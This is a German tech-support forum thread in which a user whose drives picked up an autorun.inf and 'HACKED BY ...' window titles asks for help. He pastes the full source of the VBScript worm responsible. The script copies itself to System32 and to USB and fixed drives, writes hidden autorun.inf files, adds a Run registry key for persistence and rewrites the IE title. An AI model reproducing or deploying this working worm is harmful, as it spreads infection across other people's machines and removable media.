im Fenstertext des Explorers erscheint die Anzeige HACKED BY ADEL

besagter ADEL war das nicht, der kanns noch weniger wie ich - ich kann sowas nämlich auch nicht.

Doch das Problem verschärft sich gerade:

Wenn ich über Arbeitsplatz ein Laufwerk zu öffnen versuche, bekomme ich von Windows die Fehlermeldung, die ADEL.vbs könne nicht gefunden werden und nichts geht. Mit dem Explorer gehts. Habe eine Autorun.inf ausfindig gemacht mit Text:

[autorun]
shellexecute=wscript.exe ADEL.vbs

Das löschen dieser Datei bringt aber nichts - Sie ist jetzt aber auf allen Laufwerken zu finden - Langsam werde ich nervös!

Uwe

hallo, Timo, hallo VW,

ich bin wieder da. Schön, dass sich jemand meines Problems so sachlich annimmt. Im Moment nur soviel:
Meine Schwierigkeiten scheinen nach ein bisschen Trickserei nun behoben. Es ist außer einer gewissen Verwirrung meinerseits auch weiter kein Schaden entstanden. Trotzdem werde ich das Prozedere, incl. der VBS usw. noch mal zusammenstellen. Denn was da genau abgelaufen ist, habe ich noch immer nicht ganz überrissen.

Bitte habt etwas Geduld - ich mach das heute abend noch.

Multiple thanks to everybody!

So, also, jetzt gehts weiter:

1. Ja, der ADEL ist auch als Benutzer angemeldet
2. Er scheidet als Bösewicht völlig aus - Erstens, weil mein guter Freund, und Zweitens, weil Bildhauer von Beruf und völlig EDV-Antiseptisch.
3. Hier ist der böse Virus, von dem ich gerne wüsste, ob es wirklich nur ein "Hallo, ich bin drin"- Gag ist.
Übrigens Timo: Thanks für den Tip mit dem Windows Title im IE - Das hat mich vorwärts gebracht! !

Nun, bevor die Tischplatte unter deinen blutigen Fingern birst; hier die ADEL.VBS

'Mutation of Trojan virus.
'My name is KOCH03.vbs
On error resume next
Dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd,oldname,newname,rgname
Set fs = createobject("Scripting.FileSystemObject")
Set wn = WScript.CreateObject("WScript.Network")
Set mf = fs.getfile(Wscript.ScriptFullname)
oldname=CStr(fs.getfilename(Wscript.ScriptFullname))
newname = wn.ComputerName & ".vbs"
rgname = Replace(newname,".vbs","")
atr = "[autorun]"&vbcrlf&"shellexecute=wscript.exe KOCH03.vbs"
dim text,size
size = mf.size
check = mf.drive.drivetype
Set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
Loop
mysource=Replace(mysource,oldname,newname)
do
Set winpath = fs.getspecialfolder(0)
Set tf = fs.getfile(winpath & "\SYSTEM32\" & newname)
tf.attributes = 32
Set tf=fs.createtextfile(winpath & "\SYSTEM32\" & newname,2,true)
tf.write mysource
tf.close
Set tf = fs.getfile(winpath & "\SYSTEM32\" & newname)
tf.attributes = 39
For each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" Then
Set tf=fs.getfile(flashdrive.path &"\KOCH03.vbs")
tf.attributes =32
Set tf=fs.createtextfile(flashdrive.path &"\KOCH03.vbs",2,true)
tf.write mysource
tf.close
Set tf=fs.getfile(flashdrive.path &"\KOCH03.vbs")
tf.attributes =39
Set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes = 32
Set tf=fs.createtextfile(flashdrive.path &"\autorun.inf",2,true)
tf.write atr
tf.close
Set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes=39
End If
next
Set rg = createobject("WScript.Shell")
rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\" & rgname & "",winpath&"\SYSTEM32\" & newname
rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title","Hacked by " & Replace(oldname, ".vbs","")
if check <> 1 then
Wscript.sleep 120000
End if
loop while check<>1
Set sd = createobject("Wscript.shell")
sd.run winpath&"\explorer.exe /e,/select, "&Wscript.ScriptFullname

PS: Das Ding löst schon Alarm aus, wenn ich es lese!

Chereo

high hai, VW,

danke für die Info, im Klartext heißt das wohl, es war ein Gag harmloserer Art. - sorry habe so´n Zeug bisher noch nicht gepostet - Hoffe das war nicht gefährlich!

Trotzdem: Eines musst du mir bitte noch beibiegen:
Wie ist die Autorun.inf auf meine Laufwerke gekommen, und der Eintrag in, wo doch schon beim Anmelden des Sticks der Antivir den Zugriff verweigert hat, bevor irgendwas geöffnet wurde?

Irgendwie muss der dann ja dann doch durchgeschlüpft sein - oder nicht?

Uwe

Tach auch, Biber,

tschludige, dass ich so begriffsstuzig bin, aber dieser Befehl ist doch Bestandteil eines Scripts, das laut Antivir nicht ausgeführt wurde!
Wenn das so einfach geht, brauche ich doch keinen Guard mehr.

Une wenns och so einfach ist:
Kann ich verhindern, dass unauthorisiert Dateien (von extern) auf meine lokalen Laufwerke kopiert werden, (denn das ist hier ja scheinbar passiert)ohne mich bei meiner eigenen Arbeit bei jedem Kopier- oder Speichervorgang jedesmal identifizieren zu müssn?

Uwe